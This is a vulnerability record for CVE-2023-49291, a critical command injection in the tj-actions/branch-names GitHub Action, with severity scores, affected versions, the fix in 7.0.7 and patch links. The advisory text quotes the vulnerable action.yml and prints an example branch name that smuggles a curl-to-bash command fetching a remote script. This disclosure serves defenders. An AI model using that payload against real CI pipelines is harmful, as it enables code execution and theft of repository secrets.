{"id":"CVE-2023-49291","aliases":["CVE-2023-49291","GHSA-8v8w-v8xg-79rf"],"related":[],"kind":"vulnerability","state":"published","title":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","summary":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input","format":"markdown","source":"ghsa"},{"lang":"es","text":"tj-actions/branch-names es una acción de Github para recuperar nombres de ramas o etiquetas con soporte para todos los eventos. Las GitHub Actions `tj-actions/branch-names` hacen referencia incorrectamente a las variables de contexto `github.event.pull_request.head.ref` y `github.head_ref` dentro de un paso de `ejecución` de GitHub Actions. La variable head ref es el nombre de la rama y se puede usar para ejecutar código arbitrario usando un nombre de rama especialmente manipulado. Como resultado, un atacante puede utilizar esta vulnerabilidad para robar secretos o abusar de los permisos \"GITHUB_TOKEN\". Esta vulnerabilidad se ha solucionado en la versión 7.0.7. Se recomienda a los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.","source":"nvd"}],"published":"2023-12-04T23:21:33.367Z","modified":"2026-06-17T06:35:46.920Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":"< 7.0.7","status":"affected"}],"vendor":"tj-actions","product":"branch-names","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"7.0.7"}],"ecosystem":"GitHub Actions","package":"tj-actions/branch-names","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"7.0.0"},{"status":"affected","introduced":"7.0.1","fixed":"7.0.7"}],"vendor":"tj-actions","product":"branch-names","cpe":"cpe:2.3:a:tj-actions:branch-names:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://securitylab.github.com/research/github-actions-untrusted-input","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/tj-actions/branch-names","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-49291","url":"https://www.cve.org/CVERecord?id=CVE-2023-49291","licence":"CVE Terms of Use","modified":"2024-08-02T21:53:44.957Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8v8w-v8xg-79rf","url":"https://github.com/advisories/GHSA-8v8w-v8xg-79rf","licence":"CC-BY-4.0","modified":"2023-12-06T20:48:41.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-49291","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291","licence":"Public domain","modified":"2026-06-17T06:35:46.920Z"}],"updatedAt":"2026-11-25T22:58:30.946Z","epss":{"score":0.01448,"percentile":0.74096,"date":"2026-12-01T12:00:22.000Z"}}